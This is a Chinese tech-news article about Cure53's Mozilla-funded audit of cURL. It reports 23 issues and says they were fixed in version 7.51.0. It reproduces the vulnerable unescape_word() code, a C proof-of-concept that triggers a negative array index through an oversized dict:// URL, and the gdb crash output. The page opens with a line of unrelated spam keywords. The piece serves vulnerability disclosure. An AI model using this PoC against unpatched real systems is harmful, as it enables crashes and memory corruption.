自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

注意了,cURL的漏洞也不少

安全 漏洞
cURL想必大家都不陌生,它是一款開源的命令行工具和庫(kù),支持多種協(xié)議傳輸數(shù)據(jù)。cURL如今的應(yīng)用還是比較廣泛的,包括網(wǎng)絡(luò)設(shè)備、打印機(jī)、智能手機(jī),甚至是一些物聯(lián)網(wǎng)設(shè)備比如汽車。

[[177943]]

安全專家對(duì)cURL進(jìn)行了審計(jì),發(fā)現(xiàn)了數(shù)十個(gè)安全問題,這些漏洞在最新的版本中已經(jīng)被修復(fù)。

cURL想必大家都不陌生,它是一款開源的命令行工具和庫(kù),支持多種協(xié)議傳輸數(shù)據(jù)。cURL如今的應(yīng)用還是比較廣泛的,包括網(wǎng)絡(luò)設(shè)備、打印機(jī)、智能手機(jī),甚至是一些物聯(lián)網(wǎng)設(shè)備比如汽車。

主動(dòng)審計(jì)

前不久,cURL開發(fā)者、Mozilla員工Daniel Stenberg請(qǐng)Mozilla Secure Open Source(SOS)項(xiàng)目對(duì)cURL進(jìn)行安全審計(jì)。

“我請(qǐng)Mozilla Secure Open Source項(xiàng)目進(jìn)行了一次安全審計(jì)。這個(gè)項(xiàng)目是由Mozilla尋找第三方公司一起參與,并且最終買單完成的。參與審計(jì)的公司名為Cure53。” Stenberg在博客中寫道。“我之所以申請(qǐng)審計(jì)是因?yàn)樽罱腋杏X存在一些安全相關(guān)的問題,我覺得我們?cè)诎踩矫婵赡苡兴啡?,所以想讓專家們檢查一下。”

Cure53的5名專家對(duì)cURL進(jìn)行了為期20天的審計(jì),發(fā)現(xiàn)了總共23個(gè)安全問題。

審計(jì)結(jié)果

這些安全問題中,有9個(gè)是安全漏洞。專家融合了其中2個(gè)安全漏洞——其中一個(gè)被歸類為“plain bug”,因?yàn)橐趯?shí)際攻擊場(chǎng)景進(jìn)行利用會(huì)很困難。另外,審計(jì)發(fā)現(xiàn)了4個(gè)高危漏洞和4個(gè)中危漏洞。

高危漏洞的漏洞編號(hào)為CVE-2016-8617, CVE-2016-8619, CVE-2016-8622和CVE-2016-8623。這些都是遠(yuǎn)程執(zhí)行漏洞。

比如說下面這個(gè)漏洞:

CRL-01-014 unescape_word()整型溢出造成負(fù)數(shù)數(shù)組索引(高危)

dict.c中的unescape_word()函數(shù)中存在以下代碼:

  1. static char *unescape_word(struct Curl_easy *data, const char *inputbuff) 
  2.        { 
  3.          char *newp; 
  4.          char *dictp; 
  5.          char *ptr; 
  6.          int len; 
  7.          char ch; 
  8.          int olen=0; 
  9.          newp = curl_easy_unescape(data, inputbuff, 0, &len); 
  10.          if(!newp) 
  11. return NULL
  12.          dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */ 
  13.          if(dictp) { 
  14.            /* According to RFC2229 section 2.2, these letters need to be escaped with 
  15.               \[letter] */ 
  16.            for(ptr = newp; 
  17.                (ch = *ptr) != 0; 
  18.                ptr++) { 
  19.              if((ch <= 32) || (ch == 127) || 
  20.                  (ch == '\'') || (ch == '\"') || (ch == '\\')) { 
  21.                dictp[olen++] = '\\'
  22.              } 
  23.              dictp[olen++] = ch; 
  24.            } 
  25.            dictp[olen]=0; 
  26.          } 
  27. free(newp); 
  28.          return dictp; 
  29.        } 

很明顯,len要比pow(2,31)小,但是輸出可以拓展至兩倍大小,也就是說當(dāng)olen的值是INT_MAX時(shí),可以被增加。這就會(huì)導(dǎo)致有符號(hào)整型溢出。

由于olen一直被用作數(shù)組索引,負(fù)的數(shù)組索引就會(huì)指向未分配的內(nèi)存。

要驗(yàn)證漏洞,可以在6GB以上空閑內(nèi)存的64位電腦上運(yùn)行下面的代碼。這個(gè)測(cè)試會(huì)獲取一個(gè)超過1GB長(zhǎng)的dict:// URL。

  1. #include <curl/curl.h> 
  2. #include <stdint.h> 
  3. #include <string.h> 
  4. #include <err.h> 
  5. #include <stdlib.h> 
  6. int main(int argc, char *argv[]) 
  7.   char *dicturl = malloc(23 + (1ULL<<30) + 5 + 1); 
  8.   if (!dicturl) 
  9.     errx(1, "malloc"); 
  10.   strcpy(dicturl, "dict://localhost/MATCH:"); 
  11.   memset(dicturl + 23, '\"', (1ULL<<30) + 5); 
  12.   dicturl[23 + (1ULL<<30) + 5] = '\0'
  13.   CURL *hnd = curl_easy_init(); 
  14.   curl_easy_setopt(hnd, CURLOPT_URL, dicturl); 
  15.   free(dicturl); 
  16.   curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L); 
  17.   CURLcode ret = curl_easy_perform(hnd); 
  18.   curl_easy_cleanup(hnd); 
  19.   return (int)ret; 

運(yùn)行會(huì)導(dǎo)致如下的崩潰信息:

  1. $ gdb ./negative_dict_url 
  2. [...] 
  3. (gdb) run 
  4. Starting program: [...] 
  5. [...] 
  6. Program received signal SIGSEGV, Segmentation fault. 
  7. 0x00007ffff7b6975b in unescape_word (data=0x63a0b0, inputbuff=0x7fffb0fca017 '\"' <repeats 200 times>...) at dict.c:116 
  8. 116 dictp[olen++] = '\\'
  9. (gdb) x/1i $pc 
  10. => 0x7ffff7b6975b <unescape_word+170>: mov 
  11. (gdb) print/x $rax 
  12. $1 = 0x7ffdf0dba010 
  13. (gdb) print/x dictp 
  14. $2 = 0x7ffe70dba010 
  15. (gdb) print olen 
  16. $3 = -2147483647 

但實(shí)際上,審計(jì)報(bào)告提到,cURL庫(kù)的整體安全性和魯棒性都很好。

也請(qǐng)大家不要擔(dān)心,新版本的cURL已經(jīng)上線了,7.51.0版本修復(fù)了總共11個(gè)漏洞,其中7個(gè)是由Cure53的審計(jì)團(tuán)隊(duì)發(fā)現(xiàn)的,其他的漏洞是由Luật Nguyễn、Christian Heimes和Fernando Muñoz提交的。

Stenberg指出,cURL是一個(gè)非常常用的軟件,因此,審計(jì)對(duì)用戶來說具有重大意義。

“由于curl是世界上最常用的軟件,因此curl如果出現(xiàn)了問題可能對(duì)各種工具、設(shè)備、應(yīng)用造成重大影響。我們不希望發(fā)生那樣的事。”

責(zé)任編輯:武曉燕 來源: FreeBuf
相關(guān)推薦

2021-12-26 19:04:51

漏洞Logback系統(tǒng)

2015-08-20 15:14:33

Android漏洞Stagefright漏洞修復(fù)

2020-12-08 12:18:09

安卓應(yīng)用漏洞

2018-09-14 09:55:26

2010-08-31 15:18:31

2022-09-15 12:22:25

cookieDOS 漏洞網(wǎng)絡(luò)攻擊

2020-11-05 10:43:50

安全漏洞Github

2021-07-07 05:43:47

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2022-06-20 13:34:46

漏洞網(wǎng)絡(luò)攻擊

2020-10-19 15:52:42

物聯(lián)網(wǎng)漏洞IoT

2009-07-20 15:37:09

iBatis like注入漏洞

2021-05-20 15:00:13

手機(jī)關(guān)機(jī)電池

2023-10-10 22:27:42

2016-01-27 14:30:20

2015-08-10 10:26:08

2014-06-03 10:14:06

2010-09-01 13:37:32

2020-04-21 15:22:35

ChromeFirefox瀏覽器

2019-05-27 22:55:45

GitHub開源贊賞

2023-06-21 11:19:21

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)